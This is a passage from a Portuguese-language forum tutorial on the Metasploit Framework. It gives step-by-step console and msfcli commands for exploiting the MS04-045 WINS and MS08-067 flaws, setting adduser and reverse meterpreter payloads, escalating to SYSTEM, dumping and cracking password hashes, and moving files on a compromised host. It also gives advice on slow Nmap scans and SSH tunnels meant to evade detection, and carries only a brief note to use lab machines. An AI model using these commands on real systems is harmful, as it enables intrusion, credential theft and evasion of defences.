outros.) msfconsole - metasploit em modo console msfcli - interface de automatização de penetração e exploração msflogdump - exibe sessões de arquivos de log msfplayload - usado para gerar payloads customizados msfpescan - utilizado para analisar e descompilar executáveis e DLLs msfencode - um codificador interactivo de payload encoder msfupdate - utilizado para verificar e fazer download de actualização do framework msfweb - Interface gráfica via browser Hoje devido ao facto do metasploit estar na Rapid7 podem usar uma versão gratuita do detector de vulnerabilidades automático, o NeXpose Community Edition... ele detecta as vulnerabilidades e integra-se com o metasploit. Nexpose (Detector de vulnerabilidades) http://www.rapid7.com/vulnerability-scanner.jsp Podem, como eu, usar o Nessus para isso ou outras ferramentas... hoje até o nmap têm scripts para detectar vulnerabilidades, que são a principal questão no exploitation... é a partir de uma vulnerabilidade que tudo acontece e precisam saber a versão exacta do software alvo e do SO... em alguns casos no windows até a língua em que o windows esta. Algo essencial para se escolher o exploit certo é saber o serviço e a versão exacta do mesmo, pois os exploits são feitos nessa base. Para tal e se soubermos já que há uma vulnerabilidade para um apache 2 versão anterior à 2.15, podemos fazer um scan especifico com o Nmap a essa porta (80) para não dar nas vistas. É como se alguém tivesse a aceder ao site, pois apenas são enviados pacotes para a porta 80. Se fizerem um scan a todas as portas e houver algum equipamento de jeito no caminho vai detectar que é um scan e corta. Saibam o que procurar e não façam scans a todas as portas, a não ser que não haja qualquer equipamento especial, como acontece na maioria dos datacenters para as contas mais baixas. As mais usadas. Nmap –sT –P0 –A –version-all –T0 –p 80 ipalvo (o –T0 é para que haja maior espaço de tempo entre o envio de pacotes, para dificultar a detecção. Mas não é uma técnica de evasão e pode ser dispensado. O Nmap têm diversas técnicas de evasão, como spoofing, etc... explorem a documentação) Nessus (Detector de vulnerabilidades) http://www.nessus.org/nessus/ O Nessus é um motor que interpreta scripts em NASL (ver artigo meu na 3ª Edição - Julho de 2006 que explica melhor esta linguagem) e envia-os contra um ou mais alvos, fazendo um relatório dos resultados. Estes scripts procurar milhares de vulnerabilidades, mas apensa as conhecidas. Podem desenvolver os vossos próprios scripts NASL para coisas novas. Voltando ao Metasploit, eu vou ensinar aqui a utilizar somente três destas ferramentas(msfconsole, msfcli, msfweb), pois acredito que um verdadeiro 🧙‍♂️ aprenderá sozinho o restante... como sempre dou a base para futuras explorações. Ajuda ao ensino e evita script kiddies msfconsole: Primeiramente digita-se na linha de comando : [root]#./msfconsole se for no windows só digite msfconsole sem ./, continuando deverá aparecer algo como: (neste caso já foi usado o comando “show exploits” para se ter uma lista dos exploits. O comando show serve para outras coisas como payloads e opções. Ver em detalhe) Para quem dá o primeiro passo pode executar o comando “help” para ver os comandos de consola. Atenção que isto são apenas os comandos de consola e não todas as suas funcionalidades. Como vimos na primeira imagem do metasploit e a nível formativo, pois no mundo a sério já saberão que exploit usar, será: show [opção] (a opção poderá ser uma das que vos aparecerão senão digitarem nenhuma, como podem ver no exemplo em seguida desta forma: msf > show msfconsole: show: requires an option: 'exploits', 'payloads', 'encoders', or 'nops' msf > Viram que apareceram as opções deste comando. O mesmo acontece com outros comandos, pois podem ir assim explorando a framework. Para saberem quais os exploits que existem nesta framework (desde a ultima actualização, devem ir actualizando o metasploit que está em constante evolução) basta digitar o comando: msf >show exploits; Para saber os payloads que existem neste framework basta digitar o comando: show payloads e assim por diante. Então dentro do ambiente do metasploit escolhemos o exploit assim com o comando “use”: msf > use wins_ms04_045 msf wins_ms04_045 > viram que eu escolhi o wins_ms04_045 e o prompt mudou. Utilizando para isto o comando: use continuando... Digitamos o nosso velho amigo : show , novamente para verificar quais atributos ele aceita . Vejamos: msf wins_ms04_045 > show msfconsole: show: specify 'targets', 'payloads', 'options', or 'advanced' msf wins_ms04_045 > Vimos aqui que ele aceita targets, payloads, options ou advanced. Vamos verificar quais opções que este exploit já seleccionado aceita: msf wins_ms04_045 > show options Exploit Options =============== Exploit: Name Default Description -------- ------ ------- ------------------ required RHOST The target address required RPORT 42 The target port Target: Target Not Specified msf wins_ms04_045 > Este exploit aceita somente duas opções : o ip alvo e a porta alvo. Agora deves estar a perguntar... como faço para utilizar isto. Simples, basta configurar o que o exploit aceita (há diferenças entre exploits e cada vez mais, pois mais complexidade e vectores são adicionados, diferenciando cada vez mais os exploits), lembrando que onde estiver escrito required, significa que estas opções tem que ser configuradas obrigatoriamente para o exploit funcionar. Continuando... Façamos assim: msf wins_ms04_045 > set RHOST 200.126.35.34 RHOST -> 200.126.35.34 msf wins_ms04_04> msf wins_ms04_045 > set RPORT 42 RPORT -> 42 msf wins_ms04_045 > Vejam que utilizei a mesma porta que o valor por default... Agora teremos que seleccionar o payload para o nosso exploit. O payload nada mais é que um software acoplado ao exploit para fazer as mais variadas tarefas. Digitamos então o comando para saber os payloads suportados pelo nosso exploit: show payloads msf wins_ms04_045 > show payloads Metasploit Framework Usable Payloads ==================================== win32_adduser Windows Execute net user /ADD win32_bind Windows Bind Shell win32_bind_dllinject Windows Bind DLL Inject win32_bind_meterpreter Windows Bind Meterpreter DLL Inject win32_bind_stg Windows Staged Bind Shell win32_bind_stg_upexec Windows Staged Bind Upload/Execute win32_bind_vncinject Windows Bind VNC Server DLL Inject win32_exec Windows Execute Command win32_passivex Windows PassiveX ActiveX Injection Payload win32_passivex_meterpreter Windows PassiveX ActiveX Inject Meterpreter Payload win32_passivex_stg Windows Staged PassiveX Shell win32_passivex_vncinject Windows PassiveX ActiveX Inject VNC Server Payload win32_reverse Windows Reverse Shell win32_reverse_dllinject Windows Reverse DLL Inject win32_reverse_meterpreter Windows Reverse Meterpreter DLL Inject win32_reverse_ord Windows Staged Reverse Ordinal Shell win32_reverse_ord_vncinject Windows Reverse Ordinal VNC Server Inject win32_reverse_stg Windows Staged Reverse Shell win32_reverse_stg_upexec Windows Staged Reverse Upload/Execute win32_reverse_vncinject Windows Reverse VNC Server Inject msf wins_ms04_045 > Eu vou escolher o primeiro payload, que faz com que seja adicionado remotamente um utilizador no sistema windows (como tenho dito tanto sobre os payloads, hoje já há payloads para tudo e todos os SO´s… até uma shell especial para cracking que é o meterpreter) O meterpreter é um complexo payload que é uma espécie de shell especial para cracking, com funcionalidades especificas para isso. Algo que já falei bastante também. Documento onde é detalhado twcnicamente o meterpreter: http://www.nologin.org/Downloads/Papers/meterpreter.pdf Caso queiram usar o meterpreter, na selecção do payload, escolham um com meterpreter, como por exemplo win32_reverse_meterpreter... isto vai criar uma sessão no alvo, com o meterpreter e como é reverse passa pelas firewalls, pois estas pensam que como vem de dentro da rede é confiável. Assim: msf wins_ms04_045 > set PAYLOAD win32_adduser jolie PAYLOAD win32_adduser -> jolie msf wins_ms04_045> Vamos agora listar os sistemas operativos que serão os alvos: Utilizando o velho comando : show, só que agora assim: show targets msf wins_ms04_045 > show targets Supported Exploit Targets ========================= 0 Windows 2000 English msf wins_ms04_045 > Só temos uma opcao aqui, somente o windows 2000 em ingles é vulneravel, mas tudo bem... msf wins_ms04_045 > set TARGET 0 TARGET -> 0 msf wins_ms04_045 > tamos mesmo, mesmo, mesmo a um tirinho de caçadeira... valeu a pena chegar aqui... pois agora apenas falta uma coisa para completar nossa tarefa... Executar o nosso exploit, que é mais um pacote exploit (conjunto de várias coisas que antigamente se faziam em separado e com muito trabalho) do que somente um exploit. Digite somente: exploit (lindo não? Isto é “disparar” o exploit em direcção ao alvo. ATENÇÃO. Só usar alvos virtuais ou máquinas vossas msf wins_ms04_045 > exploit E pronto...Acabamos a nossa primeira etapa, agora vamos passar para o msfcli. O msfcli é utilizado para poder fazer tudo de uma só vez. Não precisando do passo a passo descrito acima. Se nós ja conhecemos o exploit isto agiliza muito o nosso trabalho na linha de comando digitamos assim: [root]#./msfcli wins_ms04_045 RHOST =200.156.23.25 RPORT=42 PAYLOAD=win32_adduser teste TARGET=0 E e vejam que faz a mesma coisa que no modo console. Caso o exploit se direcione a um serviço sem privilégios especiais pode-se usar um exploit local para escalar privilégios ou os seguintes comandos do meterpreter. Atenção que neste caso terão de estar a usar o meterpreter (para isso terão na altura de selecção do payload escolher um especial com o meterpreter, como por exemplo win32_reverse_meterpreter) E na sessão do meterpreter usem os scripts já existentes para isso, como apresento em baixo. meterpreter> use priv meterpreter> getsystem Mais coisas interessantes que se podem fazer com o meterpreter em conjunto com outras ferrametas geniáis, como o LophtCrack ou o Cain e Abel para crackar hashes de passwords. Has passwords estão codificadas mas podem ser “sacadas” e posteriormente crackadas... garanto que conseguirão algumas que não sejam muito fortes, o que é muito normal. Por exemplo. Como fazer o dump das hashes das passwords com o meterpreter e fazer o download para depois as crackarem com algum dos programas anteriormente mencionados. .MSFConsole > use windows/smb/ms08_067_netapi > set PAYLOAD windows/meterpreter/reverse_tcp > set LHOST (meu Ip) > set RHOST (Ip Remoto) > exploit > getuid > hashdump > use -f cmd -c Para fazer downloads ou uploads dentro do meterpreter, entre o vosso PC e o alvo comprometido. meterpreter> download arquivo1 arquivo2 pastaDestino meterpreter> upload arquivo1 arquivo2 pastaDestino Para crackar as hashes eu uso o LOphtCrack. É só guardar o resultado do "hashdump" num .txt (meuHash.txt) e usa-lo no LOphtCrack. Garanto que terão algumas passwords interessantes. (investiguem também a familia Pwdump... muito interessante para certas situações.) http://en.wikipedia.org/wiki/Pwdump (aqui são explicadas as várias “cores” e “sabores” e seus links) Vamos passar para uma forma ainda mais fácil. Garanto que o ppl mais windows vão adorar esta forma, que é um GUI (Grafical User Interface... mas no mundo dos exploits? Sim... vejam) Trata-se da ferramenta msfweb que quando executado permite fazermos tudo por uma pagina web, todas as funcionalidades aplicaveis estão lá. Para acederem ao GUI do metasploit façam: [root]#./msfweb +----=[ Metasploit Framework Web Interface (ip:55555) Deixar correr... Abrir em seguida o browser e digitar o url: teu ip, localhost, 127.0.0.1... Mais a porta 55555 Seria assim: http://localhost:55555 E assim verão a magia desta ferramenta. Um rico GUI onde facilmente qualquer um pode configurar uma sessão completa, sem digitar comandos em consolas. Claro que no alvo vão (ou não) usar a consola, pois é mais... Poderemos com isto fazer tudo graficamente sem digitar comandos etc etc, somente seleccionando. Para complementar e devido a essas novas IPS e IDS que detectam padrões de tráfego e podem ser actualizadas com as assinaturas dos novos exploits, aqui fica um extra dedicado às novas appliances PANDA Com um tunnel SSH o tráfego vai encriptado e não é possível identificar o mesmo, o que vai dentro dessa sessão. É uma das mais usadas técnicas de evasão, Criando uma sessão meterpreter persistente sobre um túnel SSH (integrando com o metasploit) http://secnow.wordpress.com/2010/04/01/criando-uma-sessao-meterpreter-persistente-a-partir-de-um-tunel-ssh/ Podem ver muitos videos que até já apresentei alguns, com tudo isto em "real" e muito mais... investiguem por ai, pois há magia no ar teckV
×
×
  • Create New...

Important Information

By using this site you accept our Terms of Use and Privacy Policy. We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.